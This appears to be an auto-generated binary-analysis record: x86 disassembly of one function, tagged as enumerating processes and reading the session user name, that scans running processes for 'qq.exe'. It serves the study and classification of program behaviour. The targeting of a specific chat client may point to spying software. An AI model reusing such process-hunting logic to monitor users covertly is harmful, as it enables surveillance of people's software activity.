Function at 0x41734c
Capabilities:
Enumerate processes
Get session user name

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffa8c
push ebx
push esi
push edi
mov edi, eax
lea ebx, [ebp - 0x44]
mov eax, 0x4e2cac
call fcn.004c0cc0
mov word [ebx + 0x10], 8
xor edx, edx
mov dword [ebp - 4], edx
inc dword [ebx + 0x1c]
mov word [ebx + 0x10], 0x14
push 0
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
je 0x4175a5
push esi
push edi
lea edi, [ebp - 0x44c]
mov esi, 0x4e12bc
mov ecx, 0x100
lea eax, [ebp - 0x48]
rep movsd dword es:[edi], dword [esi]
pop edi
pop esi
mov dword [ebp - 0x48], 0x400
push eax
lea edx, [ebp - 0x44c]
push edx
call sub.ADVAPI32.DLL_GetUserNameA
push esi
push edi
lea edi, [ebp - 0x574]
mov esi, 0x4e16bc
mov ecx, 0x4a
mov edx, 0x4e2a2c
rep movsd dword es:[edi], dword [esi]
pop edi
pop esi
mov dword [ebp - 0x574], 0x128
mov word [ebx + 0x10], 0x2c
lea eax, [ebp - 0x10]
call fcn.004cc624
inc dword [ebx + 0x1c]
lea ecx, [ebp - 0x10]
push ecx
xor eax, eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
inc dword [ebx + 0x1c]
call fcn.0047b534
lea eax, [ebp - 0xc]
xor edx, edx
mov dword [ebp - 0x14], edx
lea ecx, [ebp - 0x14]
inc dword [ebx + 0x1c]
pop edx
call fcn.004cc8cc
lea eax, [ebp - 0x14]
xor ecx, ecx
mov dword [ebp - 8], ecx
lea ecx, [ebp - 8]
inc dword [ebx + 0x1c]
lea edx, [edi + 0x34]
call fcn.004cc8cc
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.004cc874
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.004cc874
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004cc874
mov word [ebx + 0x10], 0x20
lea eax, [ebp - 0x574]
push eax
push esi
call sub.KERNEL32.DLL_Process32First
test eax, eax
je 0x41758d
mov word [ebx + 0x10], 0x38
xor ecx, ecx
mov dword [ebp - 0x18], ecx
inc dword [ebx + 0x1c]
mov word [ebx + 0x10], 0x44
mov eax, dword [ebp - 0x56c]
mov dword [ebp - 0x4c], eax
mov word [ebx + 0x10], 0x5c
lea edx, [ebp - 0x550]
lea eax, [ebp - 0x1c]
call fcn.004cc624
inc dword [ebx + 0x1c]
mov edx, str.qq.exe
mov word [ebx + 0x10], 0x50
mov word [ebx + 0x10], 0x68
lea eax, [ebp - 0x20]
call fcn.004cc624
inc dword [ebx + 0x1c]
lea edx, [ebp - 0x20]
lea eax, [ebp - 0x1c]
call fcn.004cc9fc
test eax, eax
lea eax, [ebp - 0x20]
sete dl
and edx, 1
push edx
mov edx, 2
dec dword [ebx + 0x1c]
call fcn.004cc874
pop ecx
test cl, cl
je 0x417540
mov eax, dword [ebp - 0x4c]
lea edx, [ebp - 0x18]
push eax
push 0x4e2a35
push edx
call fcn.004ccaac
add esp, 0xc
cmp dword [ebp - 8], 0
je 0x417514
mov ecx, dword [ebp - 8]
jmp 0x417519
mov ecx, 0x4e2a38
mov edx, dword [ebp - 0x4c]
mov eax, edi
call fcn.004170ac
dec eax
jne 0x417540
mov eax, dword [edi + 0x30]
mov edx, dword [ebp - 0x18]
mov ecx, dword [eax]
call dword [ecx + 0x54]
test eax, eax
jge 0x417540
mov eax, dword [edi + 0x30]
mov edx, dword [ebp - 0x18]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov eax, dword [0x6a277c]
mov eax, dword [eax]
call fcn.004ad158
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x1c]
mov edx, 2
call fcn.004cc874
mov word [ebx + 0x10], 0x44
lea ecx, [ebp - 0x574]
push ecx
push esi
call sub.KERNEL32.DLL_Process32Next
test eax, eax
jne 0x41748f
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.004cc874
mov word [ebx + 0x10], 0x20
dec dword [ebx + 0x1c]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004cc874
mov word [ebx + 0x10], 0x14
jmp 0x4175bc
call sub.KERNEL32.DLL_GetLastError
push eax
push str.CreateToolhelp32Snapshot_INVALID_HANDLE_VALUE__u_n
lea ecx, [ebp - 4]
push ecx
call fcn.004ccaac
add esp, 0xc
dec dword [ebx + 0x1c]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004cc874
mov ecx, dword [ebx]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret